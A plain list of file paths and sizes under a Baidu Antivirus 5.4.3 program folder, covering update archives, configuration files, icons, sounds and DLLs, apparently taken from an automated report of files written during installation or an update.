%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.06.24.63.FileList.xml (879 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bdMiniDownloaderGB_BAV-Mini_32_1002.exe (6330 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary\detail.xml.7z (855 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary\detail.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavBsReport.exe (1665 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\Plugins\IPlug_Scan\IPlug_Scan.dll (1185 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavDd.dll (4183 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\dbg64\dbghelp.dll (7379 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolFileList.xml (779 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon2.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\fa.dat.7z (2851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolFileList.xml_check (851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavBsReport.exe.7z (2051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\detail.xml.7z (898 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\tools_respond.xml (252 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\detail.xml.7z (713 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_0.mp3 (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sc.ini.7z (279 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\detail.xml.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_7.mp3 (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_0.mp3.7z (46 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary\ALLICON_05.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_8.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolFileList.xml_check (851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon5G.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MicroSignMergeHistory.ini (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update_ultimate.ini (513 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\FileList.xml (1633 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\detail.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\gray_icon2.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sc.ini (628 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update_statistic.xml (388 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\plugins\Plugin_Settings\res\skin.xml (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_9.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\BavUpdater.log (4916 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ProgramFileList.xml (2105 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\detail.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\detail.xml.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_7.mp3.7z (46 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\plugins\Plugin_Settings\res\skin.xml.7z (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\adblockConfig.ini.7z (345 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavDd.dll.7z (2851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\wi.dat.7z (44487 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\nsc.ini (632 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\icon2.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\icon.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\detail.xml.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2G.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_11.mp3 (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon5N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBsReport.exe (2321 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\detail.xml.7z (947 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\startupConfig.ini (446 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary\ALLICON_05.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\dbg64\dbghelp.dll.7z (4451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\gray_icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\rcsConfig.ini.7z (334 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_10.mp3 (83 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavddConfig.ini (280 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\detailDef.xml.7z (959 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\icon.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon5G.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary\detail.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\gray_icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\gray_icon.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\icon.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4N.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\srslConfig.ini (976 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\urlConfig.ini (272 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavVM.dll (2819 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\plugindataConfig.ini.7z (35 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\Plugins\IPlug_Scan\IPlug_Scan.dll.7z (2051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dbg64\dbghelp.dll (9605 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\startupConfig.ini.7z (330 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bavddConfigFileInfo.ini (380 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavVM.dll.7z (2051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_10.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\detail.xml.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\fa.dat (290 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavScan.dll (839 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_8.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MicroSignMergeHistory.ini.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\startupConfigFileInfo.ini (386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MergeHistoryList.ini.7z (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_10.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\gray_icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bavbhConfigFileInfo.ini (384 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavbhConfig.ini (604 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary\ALLICON_05.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\adblockConfigFileInfo.ini (384 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4G.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_11.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bdMiniDownloaderGB_BAV-Mini_32_1002.exe (8657 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_11.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_9.mp3 (100 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\nsc.ini.7z (283 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\server_respond.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\skin_bavui_frame\skin.xml (135 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\detail.xml.7z (886 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\skin_bavui_frame\skin.xml.7z (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.05.19.47.FileList.xml (392 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\nwi.dat.7z (8051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavrrConfig.ini.7z (275 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolFileList.xml_check (1055 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\microConfigFileInfo.ini (494 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\urlConfigFileInfo.ini (372 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\CPFileList.xml.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary\ALLICON_05.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4N.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\config.ini (3488 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolFileList.xml (779 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\md5ConfigFileInfo.ini (482 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\gray_icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.05.11.36.FileList.xml (396 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavScan.dll.7z (851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MergeHistoryList.ini (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\detail.xml.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\urlConfig.ini.7z (278 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavrrConfig.ini (274 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\wi.dat (28890 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\detail.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon2.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\plugindataConfigFileInfo.ini (398 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_7.mp3 (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\detailDef.xml.7z (1 bytes)
